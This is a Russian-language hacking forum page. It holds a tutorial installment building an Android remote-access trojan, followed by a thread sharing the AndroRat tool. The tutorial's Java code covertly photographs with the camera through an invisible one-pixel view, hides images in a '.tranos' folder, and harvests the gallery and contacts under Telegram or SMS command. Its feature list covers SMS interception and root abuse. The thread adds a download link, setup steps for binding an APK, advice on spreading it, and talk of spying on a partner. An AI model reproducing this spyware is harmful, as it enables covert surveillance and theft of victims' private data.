                throw new Exception();

            OutputStream stream = getContentResolver().openOutputStream(Uri.fromFile(newFile));
            bm.compress(CompressFormat.JPEG, 100, stream);
            stream.flush();
            stream.close();

        }
        catch(Exception e)
        {
            Log.e("Could not save", e.toString());
        }
    }

    public void savePhotoInFile(byte[] data, Uri pictureFile) throws Exception {

        if (pictureFile == null)
            throw new Exception();

        OutputStream os = getContentResolver().openOutputStream(pictureFile);
        os.write(data);
        os.close();
    }

    public Uri generateFile() {
        // Проверяем доступность SD карты
        if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED))
            return null;

        // Проверяем и создаем директорию
        File path = new File (Environment.getExternalStorageDirectory(), ".tranos");
        if (! path.exists()){
            if (! path.mkdirs()){
                return null;
            }
        }

        // Создаем имя файла
        String timeStamp = String.valueOf(System.currentTimeMillis());
        File newFile = new File(path.getPath() + File.separator + timeStamp + ".jpg");
        return Uri.fromFile(newFile);
    }

    private Bitmap decodeFile(byte[] buffer) {

        // Decode image size
        BitmapFactory.Options o = new BitmapFactory.Options();
        o.inJustDecodeBounds = true;
        BitmapFactory.decodeStream(new ByteArrayInputStream(buffer), null, o);

        // The new size we want to scale to
        final int REQUIRED_SIZE = 70;

        // Find the correct scale value. It should be the power of 2.
        int width_tmp = o.outWidth, height_tmp = o.outHeight;
        int scale = 1;
        while (true) {
            if (width_tmp / 2 < REQUIRED_SIZE || height_tmp / 2 < REQUIRED_SIZE)
                break;
            width_tmp /= 2;
            height_tmp /= 2;
            scale *= 2;
        }

        // Decode with inSampleSize
        BitmapFactory.Options o2 = new BitmapFactory.Options();
        o2.inSampleSize = scale;
        return BitmapFactory.decodeStream(new ByteArrayInputStream(buffer),
                null, o2);

    }

}

И теперь создаем в

res ->​

layout ->​

cameraview.xml​

XML:

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:orientation="vertical"
>
    <SurfaceView
        android:id="@+id/surface_camera"
        android:layout_width="1dip"
        android:layout_height="1dip"
    />
    <ImageView
        android:layout_width="1dip"
        android:layout_height="1dip"
        android:contentDescription="@string/app_name"  
        android:id="@+id/blankImage"  
    />     
</RelativeLayout>

На этом создание класса для фотографий окончено.

Я надеюсь все помнят класс Reflection, который мы создали в прошлой статье ? Нет ? Тогда вперед читать её.
А для тех кто молодец (шутки в сторону), прошу читать дальше. В классе Functions дописываем следующее.

Java:

@customAnnotation(inf = "", option1 = "n", help = "Сделать фото с web-камеры по умолчанию", help1 = "Сделать фото с выбравнной из списка (/cameras) камеры")
public void __photo(String response){
    List<String> args = parseCommand(response);
    String server = args.remove(args.size() - 1);

    try {
        if (checkNotNull(args.get(0))) {
            int numCameras = Camera.getNumberOfCameras();
            String i = args.get(0);
            if (numCameras > Integer.parseInt(i)) {
                Intent intent = new Intent(Application.getAppContext(), CameraView.class);
                intent.putExtra("Camera", i);
                intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                startActivity(intent);
                sendResult(SUCCESS_PHOTO, server);
            }
        } else {
            Intent intent = new Intent(Application.getAppContext(), CameraView.class);
            intent.putExtra("Camera", "0");
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
            sendResult(SUCCESS_PHOTO, server);
        }
    } catch (Exception e) {
        sendResult(UNKNOWN_RESULT, server);
    }
}

А так же немного дополните аннотации. Снизу полный код.

Java:

@Retention(RetentionPolicy.RUNTIME)
@interface customAnnotation {
    public String option() default "";
    public String option1() default "";
    public String help() default "";
    public String help1() default "";
    public String inf() default "";
    public String root() default "";
    public String type() default "";
}

И еще пожалуй стоит поменять методы для получения всех функций — getMethods4Telegram и getMethod4Telegram.

1572342191466.png

Java:

private void getMethods4Telegram(Class<?> cls) {
    Method[] methods = cls.getDeclaredMethods();
    String allMethods = "";
    for (Method method : methods) {
        List<String> type = new ArrayList<>(Arrays.asList(method.toGenericString().split(" ")));

        String anot = "";
        String help = "";
        String root = "";
        String two = "";
        Annotation[] annotation = method.getDeclaredAnnotations();
        for (Annotation a : annotation) {
            customAnnotation self = (customAnnotation)a;
            anot = checkNotNull(self.option()) ? " [" + self.option() + "]" : "";
            help = checkNotNull(self.help()) ? " - " + self.help() : "";
            root = checkNotNull(self.root()) ? " (" + self.root() + ")" : "";
            if(checkNotNull(self.option1())){
                two += " [" + self.option1() + "] - " + self.help1();
            }
        }

        if(type.get(0).contains("public")) {
            if(checkNotNull(two)) {
                allMethods += "/" + method.getName().replace("__", "")  + anot + help + root + "n"
                        + "/" + method.getName().replace("__", "")  + two + root + "n";
            }
            else {
                allMethods += "/" + method.getName().replace("__", "")  + anot + help + root + "n";
            }
        }
    }
    sendResult("- Команды -n" +
            "Команда необязательно должна начинаться со слеша /n" +
            "т.е. разницы между командами /help и help - нет.n" +
            "Аргумены передаются через знак пробел.n" +
            "Для более детальной информации по конкретному методу вызовитеn/help имя_функцииnn" + allMethods, TELEGRAM);
}

Java:

private void getMethod4Telegram(Class<?> cls, String m) {
    Method method = null;
    try {
        method = cls.getMethod("__" + m, String.class);
    } catch (NoSuchMethodException e) {
        sendResult(UNKNOWN_RESULT, "telegram");
    }

    String anot = "";
    String help = "";
    String root = "";
    String inf = "";
    Annotation[] annotation = method.getDeclaredAnnotations();
    for (Annotation a : annotation) {
        customAnnotation self = (customAnnotation)a;
        anot = checkNotNull(self.option()) ? " [" + self.option() + "]" : "";
        help = checkNotNull(self.help()) ? " - " + self.help() : "";
        root = checkNotNull(self.root()) ? " (" + self.root() + ")" : "";
        inf = checkNotNull(self.inf()) ? self.inf() : "";
    }

    String allMethod = "/" + method.getName().replace("__", "")  + root + anot + help + "n" + inf;

    sendResult(allMethod, TELEGRAM);
}

И да, название функции checkNull поменялось на checkNotNull. Как по мне, так понятнее. Так что меняем, если конечно хотите.
Сейчас можете в качестве теста в MainActivity вызвать callByName("photo", "1", "test"); , ну или поиграйтесь с параметрами (проект запускаем в режиме отладки).

Фото сделано на эмуляторе. Создается скрытая папка .tranos и в ней сохраняются все сделанные фотографии. В галерее не отображаются (вроде как).
Если вам не особо принципиально качество и нужно чтобы фото мало весило в CameraView раскомментируйте функцию saveBitmap.

1572338606323.png

4. Бонус
Время бонусов, да ? Или же нет ?

Делаем все по картинкам, но для начала в папке mobilehardware заходим в base и добавляем в BaseData следующее.

Java:

public static class IMAGES {
    public static final String IMAGE_ID = "imageId";
    public static final String IMAGE_DISPLAY_NAME = "imageDisplayName";
    public static final String IMAGE_DATA = "imageData";
    public static final String IMAGE_SIZE = "imageSize";
}

public static class CONTACTS {
    public static final String CONTACT_NAME = "contactName";
    public static final String CONTACT_ID = "contactId";
    public static final String CONTACT_NUMBER = "contactNumber";
}

Как вы поняли из «содержания», мы будем получать и медиа и контакты. Благодарность тем кто участвовал в предыдущем опросе.

В папке mobilehardware создаем папку images/photos/img/media, как вам больше нравится. И в ней создаем файлы с вашим вариантом + Bean + Helper + Info.

1572338914278.png

ImageBean

Java:

package com.tranos.app.mobilehardware.images;

import android.util.Log;

import com.tranos.app.mobilehardware.base.BaseBean;
import com.tranos.app.mobilehardware.base.BaseData;

import org.json.JSONObject;

public class ImageBean extends BaseBean {
    private static final String TAG = ImageBean.class.getSimpleName();

    private String imageId;
    private String imageDisplayName;
    private String imageSize;
    private String imageData;

    public String getImageId() { return imageId; }
    public String getImageDisplayName() { return imageDisplayName; }
    public String getImageSize() { return imageSize; }
    public String getImageData() { return imageData; }

    public void setImageId(String imageId) { this.imageId = imageId; }
    public void setImageDisplayName(String imageDisplayName) { this.imageDisplayName = imageDisplayName; }
    public void setImageSize(String imageSize) { this.imageSize = imageSize; }
    public void setImageData(String imageData) { this.imageData = imageData; }



    @Override
    protected JSONObject toJSONObject() {
        try {
            jsonObject.put(BaseData.IMAGES.IMAGE_ID, isEmpty(imageId));
            jsonObject.put(BaseData.IMAGES.IMAGE_DISPLAY_NAME, isEmpty(imageDisplayName));
            jsonObject.put(BaseData.IMAGES.IMAGE_SIZE, isEmpty(imageSize));
            jsonObject.put(BaseData.IMAGES.IMAGE_DATA, isEmpty(imageData));
        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return super.toJSONObject();
    }
}

ImageHelper

Java:

package com.tranos.app.mobilehardware.images;

import android.content.Context;

import org.json.JSONObject;

import java.util.List;

public class ImageHelper extends ImageInfo {
    public static List<JSONObject> getAllImages(Context context) {
        return getMobImages(context);
    }
}

ImageInfo

Java:

package com.tranos.app.mobilehardware.images;

import android.provider.MediaStore;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.util.Log;

import org.json.JSONObject;

import android.content.ContentResolver;

import android.net.Uri;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

public class ImageInfo {

    private static final String TAG = ImageInfo.class.getSimpleName();

    static List<JSONObject> getMobImages(Context context) {
        List<JSONObject> ImagesList = new ArrayList<>();
        try {
            Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
            String[] projection = { MediaStore.Images.Media._ID,
                                    MediaStore.Images.Media.BUCKET_ID,
                                    MediaStore.Images.Media.BUCKET_DISPLAY_NAME,
                                    MediaStore.Images.Media.DATA,
                                    MediaStore.Images.Media.DATE_TAKEN,
                                    MediaStore.Images.Media.DISPLAY_NAME,
                                    MediaStore.Images.Media.SIZE };

            Cursor cur = context.getApplicationContext().getContentResolver().query(uri, projection, null, null, null);
            while (cur.moveToNext()) {
                ImageBean listImagesBean = new ImageBean();
                listImagesBean.setImageDisplayName(cur.getString(5));
                listImagesBean.setImageId(cur.getString(0));
                listImagesBean.setImageSize(cur.getString(6));
                listImagesBean.setImageData(cur.getString(3));
                ImagesList.add(listImagesBean.toJSONObject());
            }

        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return ImagesList;
    }

}

Точно так же создаем папку contacts с файлами.

1572339371163.png

ContactsBean

Java:

package com.tranos.app.mobilehardware.contacts;

import android.util.Log;

import com.tranos.app.mobilehardware.base.BaseBean;
import com.tranos.app.mobilehardware.base.BaseData;

import org.json.JSONObject;

public class ContactsBean extends BaseBean  {

    private static final String TAG = ContactsBean.class.getSimpleName();

    private String contactName;
    private String contactId;
    private String contactNumber;

    public String getContactName() { return  contactName; }
    public String getContactId() { return  contactId; }
    public String getContactNumber() { return  contactNumber; }

    public void setContactName(String contactName) { this.contactName = contactName; }
    public void setContactId(String contactId) { this.contactId = contactId; }
    public void setContactNumber(String contactNumber) { this.contactNumber = contactNumber; }



    @Override
    protected JSONObject toJSONObject() {
        try {
            jsonObject.put(BaseData.CONTACTS.CONTACT_NAME, isEmpty(contactName));
            jsonObject.put(BaseData.CONTACTS.CONTACT_ID, isEmpty(contactId));
            jsonObject.put(BaseData.CONTACTS.CONTACT_NUMBER, isEmpty(contactNumber));
        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return super.toJSONObject();
    }
}

ContactsHelper

Java:

package com.tranos.app.mobilehardware.contacts;

import android.content.Context;

import org.json.JSONObject;

import java.util.List;

public class ContactsHelper extends  ContactsInfo {
    public static List<JSONObject> getAllContacts(Context context) { return getMobContacts(context); }
}

ContactsInfo

Java:

package com.tranos.app.mobilehardware.contacts;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.util.Log;

import org.json.JSONObject;

import android.content.ContentResolver;

import android.net.Uri;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

public class ContactsInfo {

    private static final String TAG = ContactsInfo.class.getSimpleName();

    static List<JSONObject> getMobContacts(Context context) {
        List<JSONObject> ContactsList = new ArrayList<>();
        try {
            Cursor cur = context.getApplicationContext().getContentResolver().query(ContactsContract.Contacts.CONTENT_URI,null, null, null, null);
            while (cur.moveToNext()) {
                ContactsBean contactsBean = new ContactsBean();
                contactsBean.setContactName(cur.getString(cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)));
                String id = cur.getString(cur.getColumnIndex(ContactsContract.Contacts._ID));
                contactsBean.setContactId(id);
                if (Integer.parseInt(cur.getString(cur.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0){
                    Cursor p = context.getApplicationContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", new String[]{id}, null);
                    while(p.moveToNext()){
                        contactsBean.setContactNumber(p.getString(p.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)));
                    }
                }

                ContactsList.add(contactsBean.toJSONObject());
            }

        } catch (Exception e) {
            Log.e(TAG, e.toString());
        }
        return ContactsList;
    }
}

Ну что, не устали еще копировать код ? Надеюсь что да, потому как эта статья подошла к концу.

5. Заключение
Надеюсь Вас радуют бонусы так же как и меня радует что Вы голосуете на опросах. Чем больше отклик, тем больше информации предоставляю. Все таки куда приятнее писать статьи, когда знаешь что они делаются не в пустую. Если где-то допустил ошибки или у Вас возникают ошибки в коде, пишите в комментарии или в личку. Думаю что не стоит писать результат того что мы сегодня сделали как я делаю это обычно, так что сразу перейду к списку функционала.

Где есть пометка @feature, значит этот функционал реализован на момент написания статьи.
Где есть пометка @todo, значит этот функционал в стадии разработки и должен скоро появится.
Где есть пометка @issue, значит этот функционал был предложен одним из пользователей и вызвал интерес у автора и в скором времени будет реализован.

  1. Получение команд с сайта @feature
  2. Получение команд через Telegram бота
  3. Получение команд через смс @feature
  4. Управление смартфоном через meterpreter (привет фанатам Kali Linux) @issue
  5. Работа с сообщениями
    1. Получение сообщений @feature
    2. Получение сообщений с конкретным пользователем @feature
    3. Удаление сообщение @todo
    4. Перехват сообщений @feature
    5. Блокировка сообщений @feature
    6. Отправка сообщений @feature
  6. Работа со звонками
    1. Получение звонков @feature
    2. Получение звонков с конкретным пользователем @todo
    3. Удаление звонков
    4. Блокировка звонков
    5. Вызов абонента @feature (new)
    6. Запись звонков
  7. Работа с камерой
    1. Фотосъемка с камер @feature
    2. Видеосъемка
  8. Запись звука
  9. Получение данных GPS @feature
  10. Получение списка контактов с телефона @feature
  11. Получение медиа (фотографий) @feature
  12. Доступ к проводнику (доступ к файловой системе)
  13. Получение информации об устройстве (куда же без нее) @feature
  14. Проверка есть ли Root права @feature
  15. Проверка есть ли Root права у программы @feature
  16. Получение Root прав @feature
  17. Перезагрузка (root) @feature
  18. Выключение (root) @feature
  19. Получение буфера обмена @feature
  20. Управление фонарем устройства @feature
  21. Скрытное удаление программ (root) @feature
  22. Управление смартфоном
    1. Громкость @feature (new)
    2. Яркость @todo
    3. Скриншот экрана (root) @feature (new)
    4. Включение экрана @feature (new)
    5. Открытие ссылок в браузере @feature (new)
    6. Обои
    7. Прочее




Страница 1 из 2

  1. AndroRat
    Олдовый, баянистый, но рабочий паблик ратник на андроид.

    Получить список контактов и всю информацию о них;
    Получить журналы вызовов;
    Получить все сообщения;
    Получить текущее местоположение по GPS;
    Мониторинг входящих сообщений в реальном времени;
    Мониторинг состояния телефона в реальном времени (входящие звонки, пропущенные звонки и т.д.);
    Захват изображения с камеры;
    Стриминг звука с микрофона (или с другого источника);
    Стриминг видео с камеры;
    Отправить СМС-сообщение;
    Сделать вызов;
    Открыть URL в стандартном браузере;
    Заставить телефон завибрировать.


    Гайд
    1. Создаем DDNS от no-ip
    2. Скачиваем DDNS-клиент от no-ip
    3. Открываем порты
    4. Биндим APK
    5. Наслаждаемся

    https://www.virustotal.com/ru/file/…e22a709e375c537139da65bc52c014110d5/analysis/
    https://www.virustotal.com/ru/file/…e93371bfa283edda886daf2073ac50a2c69/analysis/
    https://www.virustotal.com/ru/file/…24203d9d60784b7ef636db9ca3b50b6897c/analysis/

    http://rgho.st/8Q7dCztRt
    пасс:vlmi


  2. Vultur

    Vultur
    RICH-BOSS
    Команда форума
    Модератор форума
    Внесен депозит 500$

    Проверить свою половинку самое оно )))

  3. Дерзай :)

  4. Кто может разжевать по полочкам? Что именно тут делать? а то я не понял
    1. Создаем DDNS от no-ip
    2. Скачиваем DDNS-клиент от no-ip
    3. Открываем порты
    4. Биндим APK
    5. Наслаждаемся

  5. Объяснил бы как что настраивать

  6. Уита не актуальная работающая только под рут на версиях андроид 4.3. Выше уже не работает…
    Может кто простенький троянец на 6+ ведроид видел в паблике?

  7. И до линукса это дерьмо добралось

  8. Желательно бы найти на ведро от 5 и выше, очень надо, может есть у кого ребят? Что бы без рут прав пахал

  9. Это дерьмо было всегда на всех ОСях

  10. Желательно полный доступ к мобилке получить, к соцсетям, вайбер, звонки, смс

  11. Ещё бы понять, как это чудо распространять. Не думаю, что кто-то согласится качать софт не из Play Market’a к тому же по умолчанию в Андрюхе стоит защита на запуск от неизвестных источников…

  12. Распространять на таких сайтах как spaces ,у тех кто от туда ставит игры и прочее по умолчанию сразу после покупки нового телефона все защиты отключены да и рут получен.

  13. Распространять дело сотое… билд не подкинете с простеньким функционалом чтоб без рута работал, буду крайне благодарен!

  14. Обычно наоборот включены. На Xiaomi вообще рут получить крайне заморочено.

  15. Могу на заказ сделать Андроид бота (паблик) за 300руб ))
    ворует смс
    отправляет смс

  16. Я про то ,что пользователи которые качают от туда сразу отключают ве защиты ,иначе поставить какой либо софт в 50% будет нельзя . Не знаю ,как на Xiaomi но на все телефоны которые были у меня (Philips, Lenovo, Samsung и Sony) все получалось за 5 минут . Исключением был Philips v 387 ,пришлось перепрошить поганца ,ни как не хотел отдать рут.

Страница 1 из 2

Поделиться этой страницей

Top

Понравилась статья? Поделить с друзьями:
  • Как написать расширенный синопсис
  • Как написать расширенную новость
  • Как написать расширенную заметку
  • Как написать расширение файла
  • Как написать расширение для яндекс браузера